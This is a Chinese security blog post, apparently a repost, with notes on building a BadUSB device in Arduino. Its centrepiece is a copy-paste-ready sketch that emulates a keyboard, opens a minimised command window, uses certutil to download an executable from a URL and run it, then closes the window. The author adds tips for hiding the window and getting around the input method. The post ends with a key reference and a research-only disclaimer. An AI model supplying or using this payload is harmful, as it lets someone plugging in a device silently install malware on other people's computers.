badusb的一些小事

admin 2024年7月31日15:29:00评论26 views字数 1399阅读4分39秒阅读模式

badusb的一些小事

前言:每次要用的时候才后悔为啥当时没好好做笔记...本文记录badusb的一些小坑的处理方法,复制粘贴可用。

badusb的一些小事
0x01  编译环境准备

推荐比较好用的编译器Arduino,官网地址:

https://www.arduino.cc/

badusb的一些小事

下载完安装上就行,免费的,我这里用的是旧版本,没更新。

badusb的一些小事

0x02  编译程序

插上badusb以后,选择端口,选择开发板

badusb的一些小事

badusb的一些小事

然后把要执行的东西复制进来就行了,直接贴上来吧,处理了一上午觉得比较好用的

1、国内很多人的键盘输入法默认是中文,这种情况下插入U盘执行命令的时候会出问题。比如'-F'输入后变成'-发'

2、cmd窗口最小化运行

3、执行完程序自动退出cmd窗口

void setup() {  Keyboard.begin();  delay(2000); // 初始延时  Keyboard.press(KEY_LEFT_GUI);  delay(100);   Keyboard.print("r");  delay(100);   Keyboard.release(KEY_LEFT_GUI);  delay(100);   Keyboard.println("cmd /t:01 /k @ECHO OFF && MODE CON:COLS=15 LINES=1");  delay(1000);  Keyboard.println("CERTUTIL -URLCACHE -SPLIT -F https://127.0.0.1/system.exe && c:\windows\system.exe  &&exit") ;  Keyboard.end(); // 结束键盘通讯 }void loop() {}

0x03  实际测试

badusb的一些小事

具体按键

delay(5000);//延时毫秒Keyboard.begin();     //开始键盘通讯Keyboard.end();     //结束键盘通讯Keyboard.press();     //按下键盘按键     如果是非特殊按键如 数字、字母按键用单引号括起来Keyboard.release();     //释放键盘按键Keyboard.println("");     //输入字符串使用双引号括起来Mouse.begin();//鼠标事件开始Mouse.click();//鼠标单击Mouse.end();//鼠标事件结束Mouse.move();//鼠标移动(x,y)Mouse.press();//鼠标按下Mouse.release();//鼠标松开Mouse.isPressed();// KEY_LEFT_CTRLKEY_LEFT_SHIFTKEY_LEFT_ALTKEY_LEFT_GUI    //win键KEY_RIGHT_CTRLKEY_RIGHT_SHIFTKEY_RIGHT_ALTKEY_RIGHT_GUIKEY_UP_ARROWKEY_DOWN_ARROWKEY_LEFT_ARROWKEY_RIGHT_ARROWKEY_BACKSPACEKEY_TABKEY_RETURN//回车键KEY_ESCKEY_INSERTKEY_DELETEKEY_PAGE_UPKEY_PAGE_DOWNKEY_HOMEKEY_ENDKEY_CAPS_LOCKKEY_F1KEY_F2KEY_F3KEY_F4KEY_F5KEY_F6KEY_F7KEY_F8KEY_F9KEY_F10KEY_F11KEY_F12
-- END --

原文始发于微信公众号(警戒线安全):badusb的一些小事

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日15:29:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   badusb的一些小事http://cn-sec.com/archives/2994987.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息